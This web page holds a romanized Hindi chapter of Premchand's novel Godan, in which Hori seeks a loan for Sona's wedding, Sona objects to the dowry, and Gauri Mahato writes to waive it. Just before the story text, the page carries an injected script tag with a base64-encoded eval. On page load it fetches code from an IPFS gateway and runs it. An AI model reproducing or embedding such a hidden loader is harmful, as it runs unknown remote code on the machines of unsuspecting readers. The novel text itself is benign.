गोदान उपन्यास भाग-24

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>sona satrahavean sal mean thi aur is sal usaka vivah karana avashyak tha. hori to do sal se isi fikr mean tha, par hath khali hone se koee kaboo n chalata tha. magar is sal jaise bhi ho, usaka vivah kar dena hi chahie, chahe karz lena p de, chahe khet giroan rakhane p dean. aur akele hori ki bat chalati, to do sal pahale hi vivah ho gaya hota. vah kiphayat se kam karana chahata tha. par dhaniya kahati thi, kitana hi hath baandh kar kharch karo, do-dhaee sau lag jaeange. jhuniya ke a jane se biradari mean in logoan ka sthan kuchh hetha ho gaya tha aur bina sau-do sau die koee kulin var n mil sakata tha. pichhale sal chaiti mean kuchh mila tha to pandit datadin ka adha sajha, magar pandit ji ne bij aur majoori ka kuchh aisa byaura bataya ki hori ke hath ek-chauthaee se zyada anaj n laga. aur lagan dena p d gaya poora. ookh aur san ki phasal nasht ho gee, san to varsha adhik hone aur ookh dimak lag jane ke karan. haan, is sal chaiti achchhi thi aur ookh bhi khoob lagi huee thi. vivah ke lie galla to maujood tha, do sau rupe bhi hath a jayan, to kanya-rrin se usaka uddhar ho jae. agar gobar sau rupe ki madad kar de, to baki sau rupe hori ko asani se mil jaeange. jhiangurisianh aur mangaroo sah donoan hi ab kuchh narm p d ge the. jab gobar paradesh mean kama raha hai, to unake rupe mare n ja sakate the.

ek din hori ne gobar ke pas do-tin din ke lie jane ka prastav kiya.

magar dhaniya abhi tak gobar ke vah kathor shabd n bhooli thi. vah gobar se ek paisa bhi n lena chahati thi, kisi tarah nahian.

hori ne jhuanjhala kar kaha - lekin kam kaise chalega, yah bata?

dhaniya sir hila kar boli - man lo, gobar parades n gaya hota, tab tum kya karate? vahi ab karo.

hori ki jaban band ho gee. ek kshan bad bola - maian to tujhase poochhata hooan.

dhaniya ne jan bachaee - yah sochana maradoan ka kam hai.

hori ke pas javab taiyar tha - man le, maian n hota, too hi akeli rahati, tab too kya karati? vah kar.

dhaniya ne tiraskar-bhari aankhoan se dekha - tab maian kus-kanya bhi de deti to koee hansane vala n tha.

kush-kanya hori bhi de sakata tha. isi mean usaka mangal tha, lekin kul-maryada kaise chho d de? usaki bahanoan ke vivah mean tin-tin sau barati dvar par ae the. dahej bhi achchha hi diya gaya tha. nach-tamasha, baja-gaja, hathi-gho de, sabhi ae the. aj bhi biradari mean usaka nam hai. das gaanv ke adamiyoan se usaka hel-mel hai. kush-kanya de kar vah kise muanh dikhaega? isase to mar jana achchha hai. aur vah kyoan kush-kanya de? pe d-palo haian, zamin hai aur tho di-si sakh bhi hai, agar vah ek bigha bhi bech de, to sau mil jayan, lekin kisan ke lie zamin jan se bhi pyari hai, kul-maryada se bhi pyari hai. aur kul tin hi bighe to usake pas hai, agar ek bigha bech de, to phir kheti kaise karega?

kee din isi hais-bais mean gujare. hori kuchh phaisala n kar saka.

dashahare ki chhuttiyoan ke din the. jhiangurisianh, pateshvari aur nokheram tinoan hi sajjanoan ke l dake chhuttiyoan mean ghar ae the. tinoan aangreji padhate the aur yadyapi tinoan bis-bis sal ke ho ge the, par abhi tak yoonivarsiti mean jane ka nam n lete the. ek-ek klas mean do-do, tin-tin sal p de rahate. tinoan ki shadiyaan ho chuki thian. pateshvari ke sapoot biandesari to ek putr ke pita bhi ho chuke the. tinoan din bhar tash khelate, bhang pite aur chhaila bane ghoomate. ve din mean kee-kee bar hori ke dvar ki or takate hue nikalate aur kuchh aisa sanyog tha ki jis vakt ve nikalate, usi vakt sona bhi kisi-n-kisi kam se dvar par a kh di hoti. in dinoan vah vahi sa di pahanati thi, jo gobar usake lie laya tha. yah sab tamasha dekh-dekh kar hori ka khoon sookhata jata tha, manoan usaki kheti chaupat karane ke lie akash mean ole vale pile badal uthe chale ate hoan.

ek din tinoan usi kuean par nahane ja pahuanche, jahaan hori ookh sianchane ke lie pur chala raha tha. sona mot le rahi thi. hori ka khoon khaul utha.

usi saanjh ko vah dulari sahuain ke pas gaya. socha, auratoan mean daya hoti hai, shayad isaka dil pasij jay aur kam sood par rupe de de. magar dulari apana hi rona le baithi. gaanv mean aisa koee ghar n tha, jis par usake kuchh rupe n ate hoan, yahaan tak ki jhiangurisianh par bhi usake bis rupe ate the, lekin koee dene ka nam n leta tha. bechari kahaan se rupe lae?

hori ne gi dagi da kar kaha - bhabhi, b da punn hoga. tum rupe n dogi, mere gale ki phaansi khol dogi, jhianguri aur patesari mere khetoan par daant lagae hue haian. maian sochata hooan, bap-dada ki yahi to nisani hai, yah nikal gee, to jaooanga kahaan? ek sapoot vah hota hai ki ghar ki sanpat badhata hai, maian aisa kapoot ho jaooan ki bap-dadoan ki kamaee par jha doo pher dooan?

dulari ne kasam khaee - hori, maian thakuraji ke charan chhoo kar kahati hooan ki is samay mere pas kuchh nahian hai. jisane liya, vah deta nahian, to maian kya karooan? tum koee gair to nahian ho. sona bhi meri hi l daki hai, lekin tumhian batao, maian kya karooan? tumhara hi bhaee hira hai. bail ke lie pachas rupe lie. usaka to kahian pata-thikana nahian, usaki gharavali se maango to l dane ke lie taiyar! sobha bhi dekhane mean b da sidha-sada hai, lekin paisa dena nahian janata. aur asal bat to yah hai ki kisi ke pas hai hi nahian, dean kahaan se! sabaki dasha dekhati hooan, isi mare sabar kar jati hooan. log kisi tarah pet pal rahe haian, aur kya? kheti-bari bechane ki maian salah n dooangi. kuchh nahian hai, marajad to hai.

phir kanaphusakiyoan mean boli - patesari lala ka lauanda tumhare ghar ki or bahut chakkar lagaya karata hai. tinoan ka vahi hal hai. inase chaukas rahana. yah sahari ho ge, gaanv ka bhaee-chara kya samajhean? l dake gaanv mean bhi haian, magar unamean kuchh lihaz hai, kuchh adab hai, kuchh dar hai. ye sab to chhoote saan d haian. meri kausalya sasural se aee thi, maianne in saboan ke dhang dekh kar usake sasur ko bula kar vida kar diya. koee kahaan tak pahara de.

hori ko muskarate dekh kar usane saras ta dana ke bhav se kaha - hansoge hori, to maian bhi kuchh kah dooangi. tum kya kisi se kam natakhat the? din mean pachisoan bar kisi-n-kisi bahane meri dukan par aya karate the, magar maianne kabhi taka tak nahian.

hori ne mithe prativad ke sath kaha - yah to tum jhooth bolati ho bhabhi! maian bina kuchh ras pae tho de hi ata tha. chi diya ek bar parach jati hai, tabhi doosari bar aangan mean ati hai.

'chal jhoothe.'

'aankhoan se n takati rahi ho, lekin tumhara man to takata hi tha, balki bulata tha.'

achchha rahane do, b de ae aantarajami banake. tumhean bar-bar man darate dekhake mujhe daya a jati thi, nahian tum koee aise baanke javan n the.'

huseni ek paise ka namak lene a gaya aur yah parihas band ho gaya. huseni namak le kar chala gaya, to dulari ne kaha - gobar ke pas kyoan nahian chale jate? dekhate bhi aoge aur sait kuchh mil bhi jae.

hori nirash man se bola - vah kuchh n dega. l dake char paise kamane lagate haian, to unaki aankhean phir jati haian. maian to behayaee karane ko taiyar tha, lekin dhaniya nahian manati. usaki maraji bina chala jaooan, to ghar mean rahana apadh kar de. usaka subhav to janati ho.

dulari ne kataksh karake kaha - tum to mehariya ke jaise gulam ho ge.

'tumane poochha hi nahian to kya karata?'

'meri gulami karane ko kahate to maianne likha liya hota, sach.'

'to ab se kya big da hai, likha lo n. do sau mean likhata hooan, in damoan mahanga nahian hooan.'

'tab dhaniya se to n bologe?'

'nahian, kaho kasam khaooan.'

'aur jo bole?'

'to meri jibh kat lena.'

'achchha to jao, bar thik-thak karo, maian rupe de dooangi.'

hori ne sajal netroan se dulari ke paanv pak d lie. bhavavesh se muanh band ho gaya.

sahuain ne paanv khianch kar kaha - ab yahi sararat mujhe achchhi nahian lagati. maian sal-bhar ke bhitar apane rupe sood-samet kan pak d kar looangi. tum to vyavahar ke aise sachche nahian ho; lekin dhaniya par mujhe vishvas hai. suna pandit tumase bahut big de hue haian. kahate haian ise gaanv se nikal kar nahian chho da to baanbhan nahian. tum siliya ko nikal bahar kyoan nahian karate? baithe-baithae jhag da mol le liya.

'dhaniya use rakhe hue hai, maian kya karooan?'

'suna hai, pandit kasi ge the. vahaan ek b da nami vidvanh pandit hai. vah paanch sau maangata hai. tab parasachit karaega. bhala, poochho aisa aandher kahian hua hai. jab dharam nasht ho gaya to ek nahian, hazar parasachit karo, isase kya hota hai! tumhare hath ka chhua pani koee n piega. chahe jitana parasachit karo.'

hori yahaan se ghar chala, to usaka dil uchhal raha tha. jivan mean aisa sukhad anubhav use n hua tha. raste mean sobha ke ghar gaya aur sagaee le kar chalane ke lie nevata de aya. phir donoan datadin ke pas sagaee ki sayat poochhane ge. vahaan se a kar dvar par sagaee ki taiyariyoan ki salah karane lage.

dhaniya ne bahar a kar kaha - pahar rat gee, abhi roti khane ki bela nahian aee? kha kar baitho. gap dachauth karane ko to sari rat p di hai.

hori ne use bhi paramarsh mean sharik hone ka anurodh karate hue kaha - isi sahalag mean lagan thik hua hai. bata, kya-kya saman lana chahie? mujhe to kuchh maloom nahian.

'jab kuchh maloom hi nahian, to salah karane kya baithe ho? rupe-paise ka daul bhi hua ki man mean mithaee kha rahe ho?'

hori ne garv se kaha - tujhe isase kya matalab? too itana bata de, kya-kya saman lana hoga?

'to maian aisi man ki mithaee nahian khati.'

'too itana bata de ki hamari bahanoan ke byah mean kya-kya saman aya tha?'

'pahale yah bata do, rupe mil ge.'

'haan mil ge, aur nahian kya bhang khaee hai!'

'to pahale chal kar kha lo. phir salah kareange.'

magar jab usane suna ki dulari se batachit huee hai, to nak siko d kar boli - usase rupe le kar aj tak koee urin hua hai? chu dail kitana kas kar sood leti hai!

'lekin karata kya? doosara deta kaun hai?'

'yah kyoan nahian kahate ki isi bahane do gal hansane-bolane gaya tha. boodhe ho ge, par yah ban n gee.'

'too to dhaniya, kabhi-kabhi bachchoan ki-si batean karane lagati hai. mere-jaise phate haloan se vah hanse-bolegi? sidhe muanh bat to karati nahian.'

'tum-jaisoan ko chho d kar usake pas aur jayaga hi kaun?'

'usake dvar par achchhe-achchhe nak rag date haian, dhaniya, too kya jane. usake pas lachchhami hai.'

'usane jara-si hami bhar di, tum charoan or khusakhabari le kar dau de.'

'hami nahian bhar di, pakka vada kiya hai.'

hori roti khane gaya aur sobha apane ghar chala gaya to sona siliya ke sath bahar nikali. vah dvar par kh di sari batean sun rahi thi. usaki sagaee ke lie do sau rupe dulari se udhar lie ja rahe haian, yah bat usake pet mean is tarah khalabali macha rahi thi, jaise taja choona pani mean p d gaya ho. dvar par ek kuppi jal rahi thi, jisase tak ke oopar ki divar kali p d gee thi. donoan bail naand mean sani kha rahe the aur kutta zamin par tuk de ke iantazar mean baitha hua tha. donoan yuvatiyaan bailoan ki charani ke pas a kar kh di ho geean.

sona boli - toone kuchh suna? dada sahuain se meri sagaee ke lie do sau rupe udhar le rahe haian.

siliya ghar ka ratti-ratti hal janati thi. boli - ghar mean paisa nahian hai, to kya karean?

sona ne samane ke kale vrikshoan ki or takate hue kaha - maian aisa byah nahian karana chahati, jisase maan-bap ko karja lena p de. kahaan se deange bechare, bata! pahale hi karz ke bojh se dabe hue haian. do sau aur le leange, to bojha aur bhari hoga ki nahian?

'bina dan-dahej ke b de adamiyoan ka kahian byah hota hai pagali? bina dahej ke to koee boodha-thela hi milega. jayagi boodhe ke sath?'

'boodhe ke sath kyoan jaooan? bhaiya boodhe the jo jhuniya ko le ae? unhean kisane kai paise dahej mean die the?'

'usamean bap-dada ka nam doobata hai.'

'maian to sonari valoan se kah dooangi, agar tumane ek paisa bhi dahej liya, to maian tumase byah n karooangi.'

sona ka vivah sonari ke ek dhani kisan ke l dake se thik hua tha.

'aur jo vah kah de, ki maian kya karooan, tumhare bap dete haian, mere bap lete haian, isamean mera kya akhtiyar hai?'

sona ne jis astr ko ramaban samajha tha, ab maloom hua ki vah baans ki kain hai. hatash ho kar boli - maian ek bar usase kahake dekh lena chahati hooan, agar usane kah diya, mera koee akhtiyar nahian hai, to kya gomati yahaan se bahut door hai? doob marooangi. maan-bap ne mar-mar ke pala-posa. usaka badala kya yahi hai ki unake ghar se jane lagooan, to unhean karaje se aur ladati jaooan? maan-bap ko bhagavan ne diya ho, to khusi se jitana chahean l daki ko dean, maian mana nahian karati, lekin jab vah paise-paise ko tang ho rahe haian, aj mahajan nalis karake lillam kara le, to kal majoori karani p degi, to kanya ka dharam yahi hai ki doob mare. ghar ki zamin-jaijat to bach jayagi, roti ka sahara to rah jayaga. maan-bap char din mere nam ko ro kar santosh kar leange. yah to n hoga ki mera byah karake unhean janam-bhar rona p de. tin-char sal mean do sau ke doone ho jaeange, dada kahaan se la kar deange?

siliya ko jan p da, jaise usaki aankh mean nee jyoti a gee hai. avesh mean sona ko chhati se laga kar boli - toone itani akkal kahaan se sikh li sona? dekhane mean to too b di bholi-bhali hai.

'isamean akkal ki kaun bat hai chu dail! kya mere aankhean nahian haian ki maian pagal hooan? do sau mere byah mean lean. tin-char sal mean vah doona ho jae. tab rupiya ke byah mean do sau aur lean. jo kuchh kheti-bari hai, sab lilam-tilam ho jay, aur dvar-dvar par bhikh maangate phirean. yahi n? isase to kahian achchha hai ki maian apane jan de dooan. muanh aandhere sonari chali jana aur use bula lana. magar nahian, bulane ka kam nahian. mujhe usase bolate laj aegi! too hi mera yah sandesa kah dena. dekh kya javab dete haian. kaun door hai? nadi ke us par hi to hai. kabhi-kabhi dhor le kar idhar a jata hai. ek bar usaki bhaians mere khet mean p d gee thi, to maianne use bahut galiyaan di thian, hath jo dane laga. haan, yah to bata, idhar matee se teri bheant nahian huee? suna, baanbhan log unhean biradari mean nahian le rahe haian.

siliya ne hikarat ke sath kaha - biradari mean kyoan n leange, haan, boodha rupe nahian kharach karana chahata. isako paisa mil jay, to jhoothi ganga utha le. l daka ajakal bahar osare mean tikk d lagata hai.

'too use chho d kyoan nahian deti? apani biradari mean kisi ke sath baith ja aur aram se rah. vah tera apaman to n karega.'

'haan re, kyoan nahian, mere pichhe us bechare ki itani duradasa huee, ab maian use chho d dooan? ab vah chahe pandit ban jay, chahe devata ban jay, mere lie to vahi matee hai, jo mere pairoan par sir rag da karata tha, aur baanbhan bhi ho jay aur baanbhani se byah bhi kar le, phir bhi jitani usaki seva maianne ki hai, vah koee baanbhani kya karegi! abhi man-marajad ke moh mean vah chahe mujhe chho d de, lekin dekh lena, phir dau da aega.'

'a chuka ab. tujhe pa jay to kachcha hi kha jae.'

'to use bulane hi kaun jata hai? apana-apana dharam apane-apane sath hai. vah apana dharam to d raha hai, to maian apana dharam kyoan todooan?'

prat:kal siliya sonari ki or chali, lekin hori ne rok liya. dhaniya ke sir mean dard tha. usaki jagah kyariyoan ko barana tha. siliya inakar n kar saki. yahaan se jab dopahar ko chhutti mili to vah sonari chali.

idhar tisare pahar hori phir kuean par chala to siliya ka pata n tha. big d kar bola - siliya kahaan u d gee? rahati hai, rahati hai, n jane kidhar chal deti hai, jaise kisi kam mean ji hi nahian lagata. too janati hai sona, kahaan gee hai?

sona ne bahana kiya - mujhe to kuchh maloom nahian. kahati thi, dhobin ke ghar kap de lene jana hai, vahian chali gee hogi.

dhaniya ne khat se uth kar kaha - chalo, maian kyari barae deti hooan. kaun use majoori dete ho jo big d rahe ho?

'hamare ghar mean rahati nahian hai? usake pichhe sare gaanv mean badanam nahian ho rahe haian?'

'achchha, rahane do, ek kone mean p di huee hai, to usase kiraya loge?'

'ek kone mean nahian p di huee hai, ek poori kothari lie hue hai.'

'to us kothari ka kiraya hoga koee pachas rupe mahina.'

'usaka kiraya ek paisa nahian. hamare ghar mean rahati hai, jahaan jay poochh kar jae. aj ati hai to khabar leta hooan.'

pur chalane laga. dhaniya ko hori ne n ane diya. roopa kyari barati thi aur sona mot le rahi thi. roopa gili mitti ke choolhe aur baratan bana rahi thi, aur sona sashank aankhoan se sonari ki or tak rahi thi. shanka bhi thi, asha bhi thi, shanka adhik thi, asha kam. sochati thi, un logoan ko rupe mil rahe haian, to kyoan chho dane lage? jinake pas paise haian, ve to paise par aur bhi jan dete haian. aur gauri mahato to ek hi lalachi haian. mathura mean daya hai, dharam hai, lekin bap ki jo ichchha hogi, vahi use manani p degi, magar sona bhi bacha ko aisa phatakaregi ki yad kareange. vah saf kahegi, ja kar kisi dhani ki l daki se byah kar, tujh-jaise purush ke sath mera nibah n hoga. kahian gauri mahato man ge, to vah unake charan dho-dho kar piegi. unaki aisi seva karegi ki apane bap ki bhi n ki hogi. aur siliya ko bhar-pet mithaee khilaegi. gobar ne use jo rupaya diya tha, use vah abhi tak sanche hue thi. is mridu kalpana se usaki aankhean chamak uthian aur kapoloan par halki-si lali dau d gee.

magar siliya abhi tak aee kyoan nahian? kaun b di door hai. n ane diya hoga un logoan ne. aha! vah a rahi hai, lekin bahut dhire-dhire ati hai. sona ka dil baith gaya. abhage nahian mane sait, nahian siliya dau dati ati. to sona se ho chuka byah. muanh dho rakho.

siliya aee zaroor, par kuean par n a kar khet mean kyari barane lagi. dar rahi thi, hori poochheange kahaan thi ab tak, to kya javab degi. sona ne yah do ghante ka samay b di mushkil se kata. par chhootate hi vah bhagi huee siliya ke pas pahuanchi.

'vahaan ja kar too mar gee thi kya! takate-takate aankhean phoot geean.'

siliya ko bura laga - to kya maian vahaan soti thi? is tarah ki batachit rah chalate tho de hi ho jati hai. avasar dekhana p data hai. mathura nadi ki or dhor charane ge the. khojati-khojati usake pas gee aur tera sandesa kaha - aisa parasan hua ki tujhase kya kahooan. mere paanv par gir p da aur bola - sillo, maianne jab se suna hai ki sona mere ghar mean a rahi hai, tab se aankhoan ki niand har gee hai. usaki vah galiyaan mujhe phal geean, lekin kaka ko kya karooan - vah kisi ki nahian sunate.

sona ne toka - to n sunean. sona bhi jiddin hai. jo kaha hai, vah kar dikhaegi. phir hath malate rah jaeange.

'bas, usi chhan dhoroan ko vahian chho d, mujhe lie hue gauri mahato ke pas gaya. mahato ke char pur chalate haian. kuaan bhi unhian ka hai. das bighe ka ookh hai. mahato ko dekhake mujhe hansi a gee, jaise koee ghasiyara ho. haan, bhag ka bali hai. bap-bete mean khoob kaha-suni huee. gauri mahato kahate the, tujhase kya matalab, maian chahe kuchh looan ya n looan, too kaun hota hai bolane vala? mathura kahata tha, tumako lena-dena hai, to mera byah mat karo, maian apana byah jaise chahooanga, kar looanga. bat badh gee aur gauri mahato ne panahiyaan utar kar mathura ko khoob pita. koee doosara l daka itani mar kha kar big d kh da hota. mathura ek ghooansa bhi jama deta, to mahato phir n uthate, magar bechara pachasoan joote kha kar bhi kuchh n bola. aankhoan mean aansoo bhare, meri or gariboan ki tarah takata hua chala gaya. tab mahato mujh par big dane lage. saik doan galiyaan dian, magar maian kyoan sunane lagi thi? mujhe unaka kya dar tha? maianne sapha kah diya - mahato, do-tin sau koee bhari rakam nahian hai, aur hori mahato itane mean bik n jaeange, n tumhian dhanavan ho jaoge, vah sab dhan nach-tamase mean hi u d jayaga. haan, aisi bahoo n paoge.

sona ne sajal netroan se poochha - mahato itani hi bat par unhean marane lage?

siliya ne yah bat chhipa rakkhi thi. aisi apaman ki bat sona ke kanoan mean n dalana chahati thi, par yah prashn sun kar sanyam n rakh saki. boli - vahi gobar bhaiya vali bat thi. mahato ne kaha - adami jootha tabhi khata hai, jab mitha ho. kalank chaandi se hi dhulata hai. is par mathura bola - kaka, kaun ghar kalank se bacha hua hai? haan, kisi ka khul gaya, kisi ka chhipa hua hai. gauri mahato bhi pahale ek chamarin se phanse the. usase do l dake bhi haian. mathura ke muanh se itana nikalana tha ki dokare par jaise bhoot savar ho gaya. jitana lalachi hai, utana hi krodhi bhi hai. bina lie n manega.

donoan ghar chalian. sona ke sir par charasa, rassa aur jue ka bhari bojh tha, par is samay vah use phool se bhi halka lag raha tha. usake aantastal mean jaise anand aur sphoorti ka sota khul gaya ho. mathura ki vah vir moorti samane kh di thi, aur vah jaise use apane hriday mean baitha kar usake charan aansuoan se pakhar rahi thi. jaise akash ki deviyaan use god mean uthae, akash mean chhaee huee lalima mean lie chali ja rahi hoan.

usi rat ko sona ko b de zor ka jvar chadh aya.

tisare din gauri mahato ne naee ke hath ek patr bheja -

'svasti shri sarvopama jog shri hori mahato ko gauriram ka ram-ram baanchana. age jo ham logoan mean dahej ki batachit huee thi, us par hamane saant man se vichar kiya, samajh mean aya ki len-den se var aur kanya donoan hi ke gharavale jerabar hote haian. jab hamara-tumhara sanbandh ho gaya, to hamean aisa vyavahar karana chahie ki kisi ko n akhare! tum dan-dahej ki koee phikar mat karana, ham tumako saugandh dete haian. jo kuchh mota-mahin jure, baratiyoan ko khila dena. ham vah bhi n maangeange. rasad ka iantajam hamane kar liya hai. haan, tum khusi-khurrami se hamari jo khatir karoge. vah sir jhuka kar svikar kareange.'

hori ne patr padha aur dau de hue bhitar ja kar dhaniya ko sunaya. harsh ke mare uchhala p data tha, magar dhaniya kisi vichar mean doobi baithi rahi. ek kshan ke bad boli - yah gauri mahato ki bhalamanasi hai, lekin hamean bhi to apane marajad ka nibah karana hai. sansar kya kahega! rupaya hath ka mail hai. usake lie kul-marajad nahian chho da jata. jo kuchh hamase ho sakega, deange aur gauri mahato ko lena p dega. tum yahi javab likh do. maan-bap ki kamaee mean kya l daki ka koee hak nahian hai? nahian, likhana kya hai, chalo, maian naee se sandesa kahalae deti hooan.

hori hatabuddhi-sa aangan mean kh da tha aur dhaniya us udarata ki pratikriya mean, jo gauri mahato ki sajjanata ne jaga di thi, sandesha kah rahi thi. phir usane naee ko ras pilaya aur bidaee de kar vida kiya.

vah chala gaya to hori ne kaha - yah toone kya kar dala dhaniya? tera mizaj aj tak meri samajh mean n aya. too age bhi chalati hai, pichhe bhi chalati hai. pahale to is bat par l d rahi thi ki kisi se ek paisa karaj mat lo, kuchh dene-dilane ka kam nahian hai aur jab bhagavan ne gauri ke bhitar baith kar yah patr likhavaya, to toone kul-marajad ka rag chhe d diya. tera maram bhagavan hi jane.

dhaniya boli - muanh dekh kar bi da diya jata hai, janate ho ki nahian? tab gauri apane san dikhate the, ab vah bhalamanasi dikha rahe haian. eeant ka javab chahe patthar ho, lekin salam ka javab to gali nahian hai.

hori ne nak siko d kar kaha - to dikha apani bhalamanasi. dekhean, kahaan se rupe lati hai.

dhaniya aankhean chamaka kar boli - rupe lana mera kam nahian, tumhara kam hai.

'maian to dulari se hi looanga.'

'le lo usi se. sood to sabhi leange. jab doobana hi hai, to kya talab aur kya ganga?'

hori bahar a kar chilam pine laga. kitane maje se gala chhoota jata tha, lekin dhaniya jab jan chho de tab to. jab dekho, ulti hi chalati hai. ise jaise koee bhoot savar ho jata hai. ghar ki dasa dekh kar bhi isaki aankhean nahian khulatian.

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sanbandhit lekh

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